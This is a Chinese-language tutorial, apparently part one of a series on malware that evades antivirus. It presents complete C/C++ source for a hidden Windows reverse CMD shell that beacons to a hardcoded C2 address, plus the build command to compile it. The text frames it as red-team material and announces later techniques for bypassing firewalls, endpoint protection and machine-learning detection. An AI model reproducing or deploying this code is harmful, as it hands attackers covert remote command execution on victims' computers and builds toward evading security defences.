导语:在本文中,我们将为读者详细介绍编写一个简单的CMD反向shell,以便为后面介绍免杀技术做好准备。
序言
如果您还没有看过我的免杀技术视频的话,不妨花点时间看一下:
1. Windows Cloud ML Defender Evasion
除了上面视频中的免杀技术之外,我还能够绕过Symantec Endpoint Protection,跟McAfee一样,该防护软件也使用了机器学习技术。不过,这次不打算上传视频,而是决定写一个全新的文章系列,分为3篇:
· 开挂的恶意软件,Part 1:简单的CMD反向shell
· 开挂的恶意软件,Part 2:在模拟组织环境中绕过反病毒
· 开挂的恶意软件,Part 3:绕过机器学习检测
需要说明的是,本系列文章对于初学者来说可能有些难度。要想顺利阅读本系列,读者至少具备一些C/C++和Python方面的编程经验。如果读者想要了解关于编写恶意软件的基本知识,可以在这里阅读本人编写的、关于恶意软件开发的入门文章系列:NII-Checkmate,它专注于用Python3自定义的处理程序,通过C/C++语言使用Windows API,来打造自定义的恶意软件。
在这篇文章中,我们将介绍一种基于C/C++语言的简单反向CMD shell。请记住,这些代码并没有实现完美的隐身。在下一篇文章中,我将为读者介绍如何编写完全无法被Offline Antiviruses检测到的企业级恶意软件,以及如何编写C/C++代码,通过使用HTTP代替TCP代理、使用主机名而不是C2服务器的IP地址来并规避防火墙检测。在最后一篇文章中,我将为读者介绍如何绕过使用机器学习来检测可执行文件的异常行为的防病毒软件。
我们的主要目标,是规避所有检测技术,同时,让可执行文件尽可能保持“苗条”。将来,随着加密方法的引入,可执行文件的大小必将变得臃肿起来,为此,我们需要检查使用了哪些外部库,同时,还要关注代码编译方式是的静态,还是动态的。对于下面的可执行文件,如果是使用g++编译得到的话,大小应该在21Kb左右;如果在Linux中使用mingw交叉编译器的话,得到的恶意软件的大小是13Kb;如果使用cl,即Microsoft Compiler,得到的软件的大小约87Kb左右,因为它会进行大量的代码优化。此外,您既可以使用现成的netcat,也可以构建一个python服务器来处理反向shell的通信。至于我,则使用Cython构建了一个C2服务器,它使用多进程技术同时处理多个机器人;我已将其命名为Prometheus,眼尖的读者可能已经从上图中发现了。
废话少说,让我们进入正题……
#include <headers>
以下是我们需要用到的头文件:
#include <winsock2.h> #include <windows.h> #include <ws2tcpip.h> #pragma comment(lib, "Ws2_32.lib") #define DEFAULT_BUFLEN 1024
在上面的代码中,winsock2.h和ws2tcpip.h用于通过Windows套接字来处理TCP/IP通信。windows.h用于调用其他进程,引用其他头文件和API。同时,#pragma comment(lib, “Ws2_32.lib”) 的作用是通知编译器将该库静态编译为可执行文件。如果没有这个语句,我们的可执行文件将无法在任何计算机上运行,除非相应的系统中安装了Microsoft Visual C/C++可再发行组件。所以,由于我们不清楚目标系统的具体情况,因此最好在可执行文件中静态链接这些库,而不是动态链接它们,以便代码能够在所有机器上运行。最后,我们通过一个变量为套接字的recv和send函数定义了缓冲区长度,并用一个大小为1024字节的常量为其赋值。
注意,如果您不使用Microsoft Compiler,则必须使用g++/mingw32-g++中的-lws2_32选项来静态链接可执行文件。
在这里,我们将整个代码分成两个函数:一个是主函数,另一个函数用于生成反向shell。下面,让我们先来看看主函数。
main()
int main(int argc, char **argv) { FreeConsole(); if (argc == 3) { int port = atoi(argv[2]); //Converting port in Char datatype to Integer format RunShell(argv[1], port); } else { char host[] = "192.168.56.130"; int port = 8080; RunShell(host, port); } return 0; }
在上面的代码中,main函数需要3个参数。同时,我打算通过FreeConsole()函数来禁用控制台窗口,以便让用户无法看到它。如果我们的程序收到了3个参数,则会使用第2个参数作为C2 IP,第3个参数作为C2端口。如果一个参数也没有收到的话,它将使用硬编码的主机和端口作为C2服务器和端口,并将其转发到另一个名为RunShell()的函数,该函数将运行一个反向shell。好了,我们现在来看看RunShell函数。
RunShell()
需要注意的是,必须确保我们的恶意软件即使断开连接也能继续运行,无论是故意断开还是由于失误导致的断开。因此,我们将使用while true循环和Sleep函数,这样的话,即使我们断开连接,它只是休眠几秒钟,然后会主动连接我们。这种行为称为“beaconing”。在进行红队测试时,请确保使用基于时间的自定义beacon,以便在代理级别无法检测到它。
void RunShell(char* C2Server, int C2Port) { while(true) { Sleep(5000); // 1000 = One Second SOCKET mySocket; sockaddr_in addr; WSADATA version; WSAStartup(MAKEWORD(2,2), &version); mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(C2Server); //IP received from main function addr.sin_port = htons(C2Port); //Port received from main function //Connecting to Proxy/ProxyIP/C2Host if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL)==SOCKET_ERROR) { closesocket(mySocket); WSACleanup(); continue; } else { char RecvData[DEFAULT_BUFLEN]; memset(RecvData, 0, sizeof(RecvData)); int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0); if (RecvCode <= 0) { closesocket(mySocket); WSACleanup(); continue; } else { char Process[] = "cmd.exe"; STARTUPINFO sinfo; PROCESS_INFORMATION pinfo; memset(&sinfo, 0, sizeof(sinfo)); sinfo.cb = sizeof(sinfo); sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW); sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket; CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo); WaitForSingleObject(pinfo.hProcess, INFINITE); CloseHandle(pinfo.hProcess); CloseHandle(pinfo.hThread); memset(RecvData, 0, sizeof(RecvData)); int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0); if (RecvCode <= 0) { closesocket(mySocket); WSACleanup(); continue; } if (strcmp(RecvData, "exit\n") == 0) { exit(0); } } } } }
简单来说,这个函数从main函数接收C2IP和C2Port的细节信息,然后,休眠5秒钟,接着,开始初始化TCP/IP的套接字。这方面的内容,已经在上面提到的NII的恶意软件开发文章中介绍过了。
最重要的代码,是从第16行开始的。如果我们无法连接到服务器,它将关闭套接字,并重复while循环。一旦我们连接到C2IP和C2Port,将等待接收需要通过网络发送的数据:甚至像换行这样的数据也行。但是,如果我们收到长度为零的缓冲区(参加第24、25行),则表示套接字已断开连接,我们将在5秒后再次进入休眠状态,并重新建立连接。
第31行的作用,是生成shell。我们使用了一个名为Process的变量,其内容为字符串cmd.exe。然后,我们初始化了一个名为STARTUPINFO和PROCESS_INFORMATION的结构。其中,STARTUPINFO结构中包含有关在进程启动之前应该注意的事项的详细信息,而PROCESS_INFORMATION结构则包含有关新进程、父进程、子进程、其他线程及其运行方式的详细信息。然而,这里最重要的代码在第37行,其作用是将mySocket转换为HANDLE类型,并传递STARTUPINFO结构的所有输入(hStdInput)、输出(hStdOuput)和错误(hStdError)信息。在下一行,即第38行,则使用CreateProcess API来创建一个进程,该进程将使用上述变量来创建cmd.exe进程,并使用上面创建的&sinfo将输入、输出和错误信息传递给HANDLE。这个sinfo将通过套接字将所有数据发送到我们的C2Server,这样的话,我们就能过查看在cmd进程中执行的命令的所有错误和输出信息了。
接下来,我们要做的事情就是等待这个子进程(即cmd.exe)结束,并关闭进程句柄。最后,在第44行,我将再次等待缓冲区收到需要通过网络传输的数据。如果收到一个包含“exit\n”的字符串,它就会退出套接字程序;否则,将继续while循环。
您可以使用g++或mingw32-g++来编译上面的恶意软件,具体命令如下所示:
$ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
最终的源代码,我们已经上传到Github中。
小结
下面展示的是该软件在Windows 7 VM上的运行情况。如果查看该恶意软件的属性,会发现它只有13KB,就像前面所说的那样。
请记住,这里只是恶意软件的基本框架。在红队测试或APT场景中使用的恶意软件,要求程序能够自动检测代理,使用HTTP/HTTPS/DNS/ICMP进行渗透,检查代理凭据,绕过防火墙、IPS、终端保护、基于主机的IDS、沙箱、基于机器学习的防病毒软件、DPI(深度包检测)以及其他防护软件。同时,还需要对可执行文件本身进行加密,以提高逆向工程师的工作难度。
到本系列文章结束时,我们将能够绕过上述大部分检测解决方案。